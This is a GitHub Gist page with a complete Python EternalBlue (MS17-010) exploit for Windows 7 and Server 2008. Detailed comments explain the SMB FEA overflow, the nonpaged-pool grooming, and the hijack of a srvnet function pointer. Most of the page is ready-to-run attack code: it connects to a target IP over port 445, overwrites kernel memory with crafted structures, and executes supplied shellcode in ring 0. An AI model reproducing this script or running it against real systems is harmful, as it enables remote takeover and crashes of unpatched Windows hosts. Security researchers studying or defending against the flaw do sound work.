-
-
Save hacknaked/fd4b02cc734aeb26c6ac2e7517bf2293 to your computer and use it in GitHub Desktop.
Eternalblue exploit for Windows 7/2008
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/usr/bin/python | |
# This file has no update anymore. Please see https://github.com/worawit/MS17-010 | |
from impacket import smb | |
from struct import pack | |
import sys | |
import socket | |
''' | |
EternalBlue exploit for Windows 7/2008 by sleepya | |
The exploit might FAIL and CRASH a target system (depended on what is overwritten) | |
Tested on: | |
- Windows 7 SP1 x64 | |
- Windows 2008 R2 SP1 x64 | |
- Windows 7 SP1 x86 | |
- Windows 2008 SP1 x86 | |
Reference: | |
- http://blogs.360.cn/360safe/2017/04/17/nsa-eternalblue-smb/ | |
Bug detail: | |
- For the buffer overflow bug detail, please see http://blogs.360.cn/360safe/2017/04/17/nsa-eternalblue-smb/ | |
- You can see SrvOs2FeaListToNt(), SrvOs2FeaListSizeToNt() and SrvOs2FeaToNt() functions logic from WinNT4 source code | |
https://github.com/Safe3/WinNT4/blob/master/private/ntos/srv/ea.c#L263 | |
- In vulnerable SrvOs2FeaListSizeToNt() function, there is a important change from WinNT4 (to fix OOB read) in for loop. | |
The psuedo code is here. | |
if (nextFea > lastFeaStartLocation) { | |
// this code is for shrinking FeaList->cbList because last fea is invalid. | |
// FeaList->cbList is DWORD but it is cast to WORD. | |
*(WORD *)FeaList = (BYTE*)fea - (BYTE*)FeaList; | |
return size; | |
} | |
- Here is related struct info. | |
##### | |
typedef struct _FEA { /* fea */ | |
BYTE fEA; /* flags */ | |
BYTE cbName; /* name length not including NULL */ | |
USHORT cbValue; /* value length */ | |
} FEA, *PFEA; | |
typedef struct _FEALIST { /* feal */ | |
DWORD cbList; /* total bytes of structure including full list */ | |
FEA list[1]; /* variable length FEA structures */ | |
} FEALIST, *PFEALIST; | |
typedef struct _FILE_FULL_EA_INFORMATION { | |
ULONG NextEntryOffset; | |
UCHAR Flags; | |
UCHAR EaNameLength; | |
USHORT EaValueLength; | |
CHAR EaName[1]; | |
} FILE_FULL_EA_INFORMATION, *PFILE_FULL_EA_INFORMATION; | |
- The exploit also use other 2 bugs | |
- Send a large transaction with SMB_COM_NT_TRANSACT but processed as SMB_COM_TRANSACTION2 (requires for trigger bug) | |
- Send special session setup command (SMB login command) to allocate big nonpaged pool (use for creating hole) | |
###### | |
Exploit info: | |
- I do not reverse engineer any x86 binary so I do not know about exact offset. | |
- The exploit use heap of HAL (address 0xffffffffffd00010 on x64) for placing fake struct and shellcode. | |
This memory page is executable on Windows 7 and Wndows 2008. | |
- The important part of feaList and fakeStruct is copied from NSA exploit which works on both x86 and x64. | |
- The exploit trick is same as NSA exploit | |
- The overflow is happened on nonpaged pool so we need to massage target nonpaged pool. | |
- If exploit failed but target does not crash, try increasing 'numGroomConn' value (at least 5) | |
- See the code and comment for exploit detail. | |
srvnet buffer info: | |
- srvnet buffer contains a pointer to another struct and MDL about received buffer | |
- Controlling MDL values results in arbitrary write | |
- Controlling pointer to fake struct results in code execution because there is pointer to function | |
- A srvnet buffer is created after target receiving first 4 bytes | |
- First 4 bytes contains length of SMB message | |
- The possible srvnet buffer size is "..., 0x9000, 0x11000, 0x21000, ...". srvnet.sys will select the size that big enough. | |
- After receiving whole SMB message or connection lost, server call SrvNetWskReceiveComplete() to handle SMB message | |
- SrvNetWskReceiveComplete() check and set some value then pass SMB message to SrvNetCommonReceiveHandler() | |
- SrvNetCommonReceiveHandler() passes SMB message to SMB handler | |
- If a pointer in srvnet buffer is modified to fake struct, we can make SrvNetCommonReceiveHandler() call our shellcode | |
- If SrvNetCommonReceiveHandler() call our shellcode, no SMB handler is called | |
- Normally, SMB handler free the srvnet buffer when done but our shellcode dose not. So memory leak happen. | |
- Memory leak is ok to be ignored | |
Shellcode note: | |
- Shellcode is executed in kernel mode (ring 0) and IRQL is DISPATCH_LEVEL | |
- Hijacking system call is common method for getting code execution in Process context (IRQL is PASSIVE_LEVEL) | |
- On Windows x64, System call target address can be modified by writing to IA32_LSTAR MSR (0xc0000082) | |
- IA32_LSTAR MSR scope is core/thread/unique depended on CPU model | |
- On idle target with multiple core processors, the hijacked system call might take a while (> 5 minutes) to | |
get call because it is called on other processors | |
- Shellcode should be aware of double overwriting system call target address when using hijacking system call method | |
- Then, using APC in Process context to get code execution in userland (ring 3) | |
''' | |
# wanted overflown buffer size (this exploit support only 0x10000 and 0x11000) | |
# the size 0x10000 is easier to debug when setting breakpoint in SrvOs2FeaToNt() because it is called only 2 time | |
# the size 0x11000 is used in nsa exploit. this size is more reliable. | |
NTFEA_SIZE = 0x11000 | |
# the NTFEA_SIZE above is page size. We need to use most of last page preventing any data at the end of last page | |
ntfea10000 = pack('<BBH', 0, 0, 0xffdd) + 'A'*0xffde | |
ntfea11000 = (pack('<BBH', 0, 0, 0) + '\x00')*600 # with these fea, ntfea size is 0x1c20 | |
ntfea11000 += pack('<BBH', 0, 0, 0xf3bd) + 'A'*0xf3be # 0x10fe8 - 0x1c20 - 0xc = 0xf3bc | |
ntfea1f000 = (pack('<BBH', 0, 0, 0) + '\x00')*0x2494 # with these fea, ntfea size is 0x1b6f0 | |
ntfea1f000 += pack('<BBH', 0, 0, 0x48ed) + 'A'*0x48ee # 0x1ffe8 - 0x1b6f0 - 0xc = 0x48ec | |
ntfea = { 0x10000 : ntfea10000, 0x11000 : ntfea11000 } | |
''' | |
Reverse from srvnet.sys (Win7 x64) | |
- SrvNetAllocateNonPagedBufferInternal() and SrvNetWskReceiveComplete(): | |
// for x64 | |
struct SRVNET_BUFFER { | |
// offset from POOLHDR: 0x10 | |
USHORT flag; | |
char pad[2]; | |
char unknown0[12]; | |
// offset from SRVNET_POOLHDR: 0x20 | |
LIST_ENTRY list; | |
// offset from SRVNET_POOLHDR: 0x30 | |
char *pnetBuffer; | |
DWORD netbufSize; // size of netBuffer | |
DWORD ioStatusInfo; // copy value of IRP.IOStatus.Information | |
// offset from SRVNET_POOLHDR: 0x40 | |
MDL *pMdl1; // at offset 0x70 | |
DWORD nByteProcessed; | |
DWORD pad3; | |
// offset from SRVNET_POOLHDR: 0x50 | |
DWORD nbssSize; // size of this smb packet (from user) | |
DWORD pad4; | |
QWORD pSrvNetWskStruct; // want to change to fake struct address | |
// offset from SRVNET_POOLHDR: 0x60 | |
MDL *pMdl2; | |
QWORD unknown5; | |
// offset from SRVNET_POOLHDR: 0x70 | |
// MDL mdl1; // for this srvnetBuffer (so its pointer is srvnetBuffer address) | |
// MDL mdl2; | |
// char transportHeader[0x50]; // 0x50 is TRANSPORT_HEADER_SIZE | |
// char netBuffer[0]; | |
}; | |
struct SRVNET_POOLHDR { | |
DWORD size; | |
char unknown[12]; | |
SRVNET_BUFFER hdr; | |
}; | |
''' | |
# Most field in overwritten (corrupted) srvnet struct can be any value because it will be left without free (memory leak) after processing | |
# Here is the important fields on x64 | |
# - offset 0x58 (VOID*) : pointer to a struct contained pointer to function. the pointer to function is called when done receiving SMB request. | |
# The value MUST point to valid (might be fake) struct. | |
# - offset 0x70 (MDL) : MDL for describe receiving SMB request buffer | |
# - 0x70 (VOID*) : MDL.Next should be NULL | |
# - 0x78 (USHORT) : MDL.Size should be some value that not too small | |
# - 0x7a (USHORT) : MDL.MdlFlags should be 0x1004 (MDL_NETWORK_HEADER|MDL_SOURCE_IS_NONPAGED_POOL) | |
# - 0x80 (VOID*) : MDL.Process should be NULL | |
# - 0x88 (VOID*) : MDL.MappedSystemVa MUST be a received network buffer address. Controlling this value get arbitrary write. | |
# The address for arbitrary write MUST be subtracted by a number of sent bytes (0x80 in this exploit). | |
# | |
# | |
# To free the corrupted srvnet buffer, shellcode MUST modify some memory value to satisfy condition. | |
# Here is related field for freeing corrupted buffer | |
# - offset 0x10 (USHORT): be 0xffff to make SrvNetFreeBuffer() really free the buffer (else buffer is pushed to srvnet lookaside) | |
# a corrupted buffer MUST not be reused. | |
# - offset 0x48 (DWORD) : be a number of total byte received. This field MUST be set by shellcode because SrvNetWskReceiveComplete() set it to 0 | |
# before calling SrvNetCommonReceiveHandler(). This is possible because pointer to SRVNET_BUFFER struct is passed to | |
# your shellcode as function argument | |
# - offset 0x60 (PMDL) : points to any fake MDL with MDL.Flags 0x20 does not set | |
# The last condition is your shellcode MUST return non-negative value. The easiest way to do is "xor eax,eax" before "ret". | |
# Here is x64 assembly code for setting nByteProcessed field | |
# - fetch SRVNET_BUFFER address from function argument | |
# \x48\x8b\x54\x24\x40 mov rdx, [rsp+0x40] | |
# - set nByteProcessed for trigger free after return | |
# \x8b\x4a\x2c mov ecx, [rdx+0x2c] | |
# \x89\x4a\x38 mov [rdx+0x38], ecx | |
TARGET_HAL_HEAP_ADDR_x64 = 0xffffffffffd00010 | |
TARGET_HAL_HEAP_ADDR_x86 = 0xffdff000 | |
fakeSrvNetBufferNsa = pack('<II', 0x11000, 0)*2 | |
fakeSrvNetBufferNsa += pack('<HHI', 0xffff, 0, 0)*2 | |
fakeSrvNetBufferNsa += '\x00'*16 | |
fakeSrvNetBufferNsa += pack('<IIII', TARGET_HAL_HEAP_ADDR_x86+0x100, 0, 0, TARGET_HAL_HEAP_ADDR_x86+0x20) | |
fakeSrvNetBufferNsa += pack('<IIHHI', TARGET_HAL_HEAP_ADDR_x86+0x100, 0, 0x60, 0x1004, 0) # _, x86 MDL.Next, .Size, .MdlFlags, .Process | |
fakeSrvNetBufferNsa += pack('<IIQ', TARGET_HAL_HEAP_ADDR_x86-0x80, 0, TARGET_HAL_HEAP_ADDR_x64) # x86 MDL.MappedSystemVa, _, x64 pointer to fake struct | |
fakeSrvNetBufferNsa += pack('<QQ', TARGET_HAL_HEAP_ADDR_x64+0x100, 0) # x64 pmdl2 | |
# below 0x20 bytes is overwritting MDL | |
# NSA exploit overwrite StartVa, ByteCount, ByteOffset fields but I think no need because ByteCount is always big enough | |
fakeSrvNetBufferNsa += pack('<QHHI', 0, 0x60, 0x1004, 0) # MDL.Next, MDL.Size, MDL.MdlFlags | |
fakeSrvNetBufferNsa += pack('<QQ', 0, TARGET_HAL_HEAP_ADDR_x64-0x80) # MDL.Process, MDL.MappedSystemVa | |
# below is for targeting x64 only (all x86 related values are set to 0) | |
# this is for show what fields need to be modified | |
fakeSrvNetBufferX64 = pack('<II', 0x11000, 0)*2 | |
fakeSrvNetBufferX64 += pack('<HHIQ', 0xffff, 0, 0, 0) | |
fakeSrvNetBufferX64 += '\x00'*16 | |
fakeSrvNetBufferX64 += '\x00'*16 | |
fakeSrvNetBufferX64 += '\x00'*16 # 0x40 | |
fakeSrvNetBufferX64 += pack('<IIQ', 0, 0, TARGET_HAL_HEAP_ADDR_x64) # _, _, pointer to fake struct | |
fakeSrvNetBufferX64 += pack('<QQ', TARGET_HAL_HEAP_ADDR_x64+0x100, 0) # pmdl2 | |
fakeSrvNetBufferX64 += pack('<QHHI', 0, 0x60, 0x1004, 0) # MDL.Next, MDL.Size, MDL.MdlFlags | |
fakeSrvNetBufferX64 += pack('<QQ', 0, TARGET_HAL_HEAP_ADDR_x64-0x80) # MDL.Process, MDL.MappedSystemVa | |
fakeSrvNetBuffer = fakeSrvNetBufferNsa | |
#fakeSrvNetBuffer = fakeSrvNetBufferX64 | |
feaList = pack('<I', 0x10000) # the value of feaList size MUST be >=0x10000 to trigger bug (but must be less than data size) | |
feaList += ntfea[NTFEA_SIZE] | |
# Note: | |
# - SMB1 data buffer header is 16 bytes and 8 bytes on x64 and x86 respectively | |
# - x64: below fea will be copy to offset 0x11000 of overflow buffer | |
# - x86: below fea will be copy to offset 0x10ff8 of overflow buffer | |
feaList += pack('<BBH', 0, 0, len(fakeSrvNetBuffer)-1) + fakeSrvNetBuffer # -1 because first '\x00' is for name | |
# stop copying by invalid flag (can be any value except 0 and 0x80) | |
feaList += pack('<BBH', 0x12, 0x34, 0x5678) | |
# fake struct for SrvNetWskReceiveComplete() and SrvNetCommonReceiveHandler() | |
# x64: fake struct is at ffffffff ffd00010 | |
# offset 0xa0: LIST_ENTRY must be valid address. cannot be NULL. | |
# offset 0x08: set to 3 (DWORD) for invoking ptr to function | |
# offset 0x1d0: KSPIN_LOCK | |
# offset 0x1d8: array of pointer to function | |
# | |
# code path to get code exection after this struct is controlled | |
# SrvNetWskReceiveComplete() -> SrvNetCommonReceiveHandler() -> call fn_ptr | |
fake_recv_struct = pack('<QII', 0, 3, 0) | |
fake_recv_struct += '\x00'*16 | |
fake_recv_struct += pack('<QII', 0, 3, 0) | |
fake_recv_struct += ('\x00'*16)*7 | |
fake_recv_struct += pack('<QQ', TARGET_HAL_HEAP_ADDR_x64+0xa0, TARGET_HAL_HEAP_ADDR_x64+0xa0) # offset 0xa0 (LIST_ENTRY to itself) | |
fake_recv_struct += '\x00'*16 | |
fake_recv_struct += pack('<IIQ', TARGET_HAL_HEAP_ADDR_x86+0xc0, TARGET_HAL_HEAP_ADDR_x86+0xc0, 0) # x86 LIST_ENTRY | |
fake_recv_struct += ('\x00'*16)*11 | |
fake_recv_struct += pack('<QII', 0, 0, TARGET_HAL_HEAP_ADDR_x86+0x190) # fn_ptr array on x86 | |
fake_recv_struct += pack('<IIQ', 0, TARGET_HAL_HEAP_ADDR_x86+0x1f0-1, 0) # x86 shellcode address | |
fake_recv_struct += ('\x00'*16)*3 | |
fake_recv_struct += pack('<QQ', 0, TARGET_HAL_HEAP_ADDR_x64+0x1e0) # offset 0x1d0: KSPINLOCK, fn_ptr array | |
fake_recv_struct += pack('<QQ', 0, TARGET_HAL_HEAP_ADDR_x64+0x1f0-1) # x64 shellcode address - 1 (this value will be increment by one) | |
def getNTStatus(self): | |
return (self['ErrorCode'] << 16) | (self['_reserved'] << 8) | self['ErrorClass'] | |
setattr(smb.NewSMBPacket, "getNTStatus", getNTStatus) | |
def sendEcho(conn, tid, data): | |
pkt = smb.NewSMBPacket() | |
pkt['Tid'] = tid | |
transCommand = smb.SMBCommand(smb.SMB.SMB_COM_ECHO) | |
transCommand['Parameters'] = smb.SMBEcho_Parameters() | |
transCommand['Data'] = smb.SMBEcho_Data() | |
transCommand['Parameters']['EchoCount'] = 1 | |
transCommand['Data']['Data'] = data | |
pkt.addCommand(transCommand) | |
conn.sendSMB(pkt) | |
recvPkt = conn.recvSMB() | |
if recvPkt.getNTStatus() == 0: | |
print('got good ECHO response') | |
else: | |
print('got bad ECHO response: 0x{:x}'.format(recvPkt.getNTStatus())) | |
def createSessionAllocNonPaged(target, size): | |
# There is a bug in SMB_COM_SESSION_SETUP_ANDX command that allow us to allocate a big nonpaged pool. | |
# The big nonpaged pool allocation is in BlockingSessionSetupAndX() function for storing NativeOS and NativeLanMan. | |
# The NativeOS and NativeLanMan size is caculated from "ByteCount - other_data_size" | |
# Normally a server validate WordCount and ByteCount field in SrvValidateSmb() function. They must not be larger than received data. | |
# For "NT LM 0.12" dialect, There are 2 possible packet format for SMB_COM_SESSION_SETUP_ANDX command. | |
# - https://msdn.microsoft.com/en-us/library/ee441849.aspx for LM and NTLM authentication | |
# - GetNtSecurityParameters() function is resposible for extracting data from this packet format | |
# - https://msdn.microsoft.com/en-us/library/cc246328.aspx for NTLMv2 (NTLM SSP) authentication | |
# - GetExtendSecurityParameters() function is resposible for extracting data from this packet format | |
# These 2 formats have different WordCount (first one is 13 and later is 12). | |
# Here is logic in BlockingSessionSetupAndX() related to this bug | |
# - check WordCount for both formats (the CAP_EXTENDED_SECURITY must be set for extended security format) | |
# - if FLAGS2_EXTENDED_SECURITY and CAP_EXTENDED_SECURITY are set, process a message as Extend Security request | |
# - else, process a message as NT Security request | |
# So we can send one format but server processes it as another format by controlling FLAGS2_EXTENDED_SECURITY and CAP_EXTENDED_SECURITY. | |
# With this confusion, server read a ByteCount from wrong offset to calculating "NativeOS and NativeLanMan size". | |
# But GetExtendSecurityParameters() checks ByteCount value again. | |
# So the only possible request to use the bug is sending Extended Security request but does not set FLAGS2_EXTENDED_SECURITY. | |
conn = smb.SMB(target, target) | |
_, flags2 = conn.get_flags() | |
# FLAGS2_EXTENDED_SECURITY MUST not be set | |
flags2 &= ~smb.SMB.FLAGS2_EXTENDED_SECURITY | |
# if not use unicode, buffer size on target machine is doubled because converting ascii to utf16 | |
if size >= 0xffff: | |
flags2 &= ~smb.SMB.FLAGS2_UNICODE | |
reqSize = size // 2 | |
else: | |
flags2 |= smb.SMB.FLAGS2_UNICODE | |
reqSize = size | |
conn.set_flags(flags2=flags2) | |
pkt = smb.NewSMBPacket() | |
sessionSetup = smb.SMBCommand(smb.SMB.SMB_COM_SESSION_SETUP_ANDX) | |
sessionSetup['Parameters'] = smb.SMBSessionSetupAndX_Extended_Parameters() | |
sessionSetup['Parameters']['MaxBufferSize'] = 61440 # can be any value greater than response size | |
sessionSetup['Parameters']['MaxMpxCount'] = 2 # can by any value | |
sessionSetup['Parameters']['VcNumber'] = 2 # any non-zero | |
sessionSetup['Parameters']['SessionKey'] = 0 | |
sessionSetup['Parameters']['SecurityBlobLength'] = 0 # this is OEMPasswordLen field in another format. 0 for NULL session | |
# UnicodePasswordLen field is in Reserved for extended security format. 0 for NULL session | |
sessionSetup['Parameters']['Capabilities'] = smb.SMB.CAP_EXTENDED_SECURITY # can add other flags | |
sessionSetup['Data'] = pack('<H', reqSize) + '\x00'*20 | |
pkt.addCommand(sessionSetup) | |
conn.sendSMB(pkt) | |
recvPkt = conn.recvSMB() | |
if recvPkt.getNTStatus() == 0: | |
print('SMB1 session setup allocate nonpaged pool success') | |
else: | |
print('SMB1 session setup allocate nonpaged pool failed') | |
return conn | |
# Note: impacket-0.9.15 struct has no ParameterDisplacement | |
############# SMB_COM_TRANSACTION2_SECONDARY (0x33) | |
class SMBTransaction2Secondary_Parameters_Fixed(smb.SMBCommand_Parameters): | |
structure = ( | |
('TotalParameterCount','<H=0'), | |
('TotalDataCount','<H'), | |
('ParameterCount','<H=0'), | |
('ParameterOffset','<H=0'), | |
('ParameterDisplacement','<H=0'), | |
('DataCount','<H'), | |
('DataOffset','<H'), | |
('DataDisplacement','<H=0'), | |
('FID','<H=0'), | |
) | |
def send_trans2_second(conn, tid, data, displacement): | |
pkt = smb.NewSMBPacket() | |
pkt['Tid'] = tid | |
# assume no params | |
transCommand = smb.SMBCommand(smb.SMB.SMB_COM_TRANSACTION2_SECONDARY) | |
transCommand['Parameters'] = SMBTransaction2Secondary_Parameters_Fixed() | |
transCommand['Data'] = smb.SMBTransaction2Secondary_Data() | |
transCommand['Parameters']['TotalParameterCount'] = 0 | |
transCommand['Parameters']['TotalDataCount'] = len(data) | |
fixedOffset = 32+3+18 | |
transCommand['Data']['Pad1'] = '' | |
transCommand['Parameters']['ParameterCount'] = 0 | |
transCommand['Parameters']['ParameterOffset'] = 0 | |
if len(data) > 0: | |
pad2Len = (4 - fixedOffset % 4) % 4 | |
transCommand['Data']['Pad2'] = '\xFF' * pad2Len | |
else: | |
transCommand['Data']['Pad2'] = '' | |
pad2Len = 0 | |
transCommand['Parameters']['DataCount'] = len(data) | |
transCommand['Parameters']['DataOffset'] = fixedOffset + pad2Len | |
transCommand['Parameters']['DataDisplacement'] = displacement | |
transCommand['Data']['Trans_Parameters'] = '' | |
transCommand['Data']['Trans_Data'] = data | |
pkt.addCommand(transCommand) | |
conn.sendSMB(pkt) | |
def send_big_trans2(conn, tid, setup, data, param, firstDataFragmentSize, sendLastChunk=True): | |
# Here is another bug in MS17-010. | |
# To call transaction subcommand, normally a client need to use correct SMB commands as documented in | |
# https://msdn.microsoft.com/en-us/library/ee441514.aspx | |
# If a transaction message is larger than SMB message (MaxBufferSize in session parameter), a client | |
# can use *_SECONDARY command to send transaction message. When sending a transaction completely with | |
# *_SECONDARY command, a server uses the last command that complete the transaction. | |
# For example: | |
# - if last command is SMB_COM_NT_TRANSACT_SECONDARY, a server executes subcommand as NT_TRANSACT_*. | |
# - if last command is SMB_COM_TRANSACTION2_SECONDARY, a server executes subcommand as TRANS2_*. | |
# | |
# Without MS17-010 patch, a client can mix a transaction command if TID, PID, UID, MID are the same. | |
# For example: | |
# - a client start transaction with SMB_COM_NT_TRANSACT command | |
# - a client send more transaction data with SMB_COM_NT_TRANSACT_SECONDARY and SMB_COM_TRANSACTION2_SECONDARY | |
# - a client sned last transactino data with SMB_COM_TRANSACTION2_SECONDARY | |
# - a server executes transaction subcommand as TRANS2_* (first 2 bytes of Setup field) | |
# From https://msdn.microsoft.com/en-us/library/ee442192.aspx, a maximum data size for sending a transaction | |
# with SMB_COM_TRANSACTION2 is 65535 because TotalDataCount field is USHORT | |
# While a maximum data size for sending a transaction with SMB_COM_NT_TRANSACT is >65536 because TotalDataCount | |
# field is ULONG (see https://msdn.microsoft.com/en-us/library/ee441534.aspx). | |
# Note: a server limit TotalParameterCount+TotalDataCount to 0x11800. | |
pkt = smb.NewSMBPacket() | |
pkt['Tid'] = tid | |
command = pack('<H', setup) | |
# Use SMB_COM_NT_TRANSACT because we need to send data >65535 bytes to trigger the bug. | |
transCommand = smb.SMBCommand(smb.SMB.SMB_COM_NT_TRANSACT) | |
transCommand['Parameters'] = smb.SMBNTTransaction_Parameters() | |
transCommand['Parameters']['MaxSetupCount'] = 1 | |
transCommand['Parameters']['MaxParameterCount'] = len(param) | |
transCommand['Parameters']['MaxDataCount'] = 0 | |
transCommand['Data'] = smb.SMBTransaction2_Data() | |
transCommand['Parameters']['Setup'] = command | |
transCommand['Parameters']['TotalParameterCount'] = len(param) | |
transCommand['Parameters']['TotalDataCount'] = len(data) | |
fixedOffset = 32+3+38 + len(command) | |
if len(param) > 0: | |
padLen = (4 - fixedOffset % 4 ) % 4 | |
padBytes = '\xFF' * padLen | |
transCommand['Data']['Pad1'] = padBytes | |
else: | |
transCommand['Data']['Pad1'] = '' | |
padLen = 0 | |
transCommand['Parameters']['ParameterCount'] = len(param) | |
transCommand['Parameters']['ParameterOffset'] = fixedOffset + padLen | |
if len(data) > 0: | |
pad2Len = (4 - (fixedOffset + padLen + len(param)) % 4) % 4 | |
transCommand['Data']['Pad2'] = '\xFF' * pad2Len | |
else: | |
transCommand['Data']['Pad2'] = '' | |
pad2Len = 0 | |
transCommand['Parameters']['DataCount'] = firstDataFragmentSize | |
transCommand['Parameters']['DataOffset'] = transCommand['Parameters']['ParameterOffset'] + len(param) + pad2Len | |
transCommand['Data']['Trans_Parameters'] = param | |
transCommand['Data']['Trans_Data'] = data[:firstDataFragmentSize] | |
pkt.addCommand(transCommand) | |
conn.sendSMB(pkt) | |
conn.recvSMB() # must be success | |
# Then, use SMB_COM_TRANSACTION2_SECONDARY for send more data | |
i = firstDataFragmentSize | |
while i < len(data): | |
# limit data to 4096 bytes per SMB message because this size can be used for all Windows version | |
sendSize = min(4096, len(data) - i) | |
if len(data) - i <= 4096: | |
if not sendLastChunk: | |
break | |
send_trans2_second(conn, tid, data[i:i+sendSize], i) | |
i += sendSize | |
if sendLastChunk: | |
conn.recvSMB() | |
return i | |
# connect to target and send a large nbss size with data 0x80 bytes | |
# this method is for allocating big nonpaged pool (no need to be same size as overflow buffer) on target | |
# a nonpaged pool is allocated by srvnet.sys that started by useful struct (especially after overwritten) | |
def createConnectionWithBigSMBFirst80(target): | |
# https://msdn.microsoft.com/en-us/library/cc246496.aspx | |
# Above link is about SMB2, but the important here is first 4 bytes. | |
# If using wireshark, you will see the StreamProtocolLength is NBSS length. | |
# The first 4 bytes is same for all SMB version. It is used for determine the SMB message length. | |
# | |
# After received first 4 bytes, srvnet.sys allocate nonpaged pool for receving SMB message. | |
# srvnet.sys forwards this buffer to SMB message handler after receiving all SMB message. | |
# Note: For Windows 7 and Windows 2008, srvnet.sys also forwards the SMB message to its handler when connection lost too. | |
sk = socket.create_connection((target, 445)) | |
# For this exploit, use size is 0x11000 | |
pkt = '\x00' + '\x00' + pack('>H', 0xfff7) | |
# There is no need to be SMB2 because we got code execution by corrupted srvnet buffer. | |
# Also this is invalid SMB2 message. | |
# I believe NSA exploit use SMB2 for hiding alert from IDS | |
#pkt += '\xfeSMB' # smb2 | |
# it can be anything even it is invalid | |
pkt += 'BAAD' # can be any | |
pkt += '\x00'*0x7c | |
sk.send(pkt) | |
return sk | |
def exploit(target, shellcode, numGroomConn): | |
# force using smb.SMB for SMB1 | |
conn = smb.SMB(target, target) | |
# can use conn.login() for ntlmv2 | |
conn.login_standard('', '') | |
server_os = conn.get_server_os() | |
print('Target OS: '+server_os) | |
if not (server_os.startswith("Windows 7 ") or (server_os.startswith("Windows Server ") and ' 2008 ' in server_os)): | |
print('This exploit does not support this target') | |
sys.exit() | |
tid = conn.tree_connect_andx('\\\\'+target+'\\'+'IPC$') | |
# The minimum requirement to trigger bug in SrvOs2FeaListSizeToNt() is SrvSmbOpen2() which is TRANS2_OPEN2 subcommand. | |
# Send TRANS2_OPEN2 (0) with special feaList to a target except last fragment | |
progress = send_big_trans2(conn, tid, 0, feaList, '\x00'*30, 2000, False) | |
# we have to know what size of NtFeaList will be created when last fragment is sent | |
# make sure server recv all payload before starting allocate big NonPaged | |
#sendEcho(conn, tid, 'a'*12) | |
# create buffer size NTFEA_SIZE-0x1000 at server | |
# this buffer MUST NOT be big enough for overflown buffer | |
allocConn = createSessionAllocNonPaged(target, NTFEA_SIZE - 0x1010) | |
# groom nonpaged pool | |
# when many big nonpaged pool are allocated, allocate another big nonpaged pool should be next to the last one | |
srvnetConn = [] | |
for i in range(numGroomConn): | |
sk = createConnectionWithBigSMBFirst80(target) | |
srvnetConn.append(sk) | |
# create buffer size NTFEA_SIZE at server | |
# this buffer will be replaced by overflown buffer | |
holeConn = createSessionAllocNonPaged(target, NTFEA_SIZE - 0x10) | |
# disconnect allocConn to free buffer | |
# expect small nonpaged pool allocation is not allocated next to holeConn because of this free buffer | |
allocConn.get_socket().close() | |
# hope one of srvnetConn is next to holeConn | |
for i in range(5): | |
sk = createConnectionWithBigSMBFirst80(target) | |
srvnetConn.append(sk) | |
# send echo again, all new 5 srvnet buffers should be created | |
#sendEcho(conn, tid, 'a'*12) | |
# remove holeConn to create hole for fea buffer | |
holeConn.get_socket().close() | |
# send last fragment to create buffer in hole and OOB write one of srvnetConn struct header | |
send_trans2_second(conn, tid, feaList[progress:], progress) | |
recvPkt = conn.recvSMB() | |
retStatus = recvPkt.getNTStatus() | |
# retStatus MUST be 0xc000000d (INVALID_PARAMETER) because of invalid fea flag | |
if retStatus == 0xc000000d: | |
print('good response status: INVALID_PARAMETER') | |
else: | |
print('bad response status: 0x{:08x}'.format(retStatus)) | |
# one of srvnetConn struct header should be modified | |
# a corrupted buffer will write recv data in designed memory address | |
for sk in srvnetConn: | |
sk.send(fake_recv_struct + shellcode) | |
# execute shellcode by closing srvnet connection | |
for sk in srvnetConn: | |
sk.close() | |
# nicely close connection (no need for exploit) | |
conn.disconnect_tree(tid) | |
conn.logoff() | |
conn.get_socket().close() | |
if len(sys.argv) < 3: | |
print("{} <ip> <shellcode_file> [numGroomConn]".format(sys.argv[0])) | |
sys.exit(1) | |
TARGET=sys.argv[1] | |
numGroomConn = 13 if len(sys.argv) < 4 else int(sys.argv[3]) | |
fp = open(sys.argv[2], 'rb') | |
sc = fp.read() | |
fp.close() | |
print('shellcode size: {:d}'.format(len(sc))) | |
print('numGroomConn: {:d}'.format(numGroomConn)) | |
exploit(TARGET, sc, numGroomConn) | |
print('done') |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment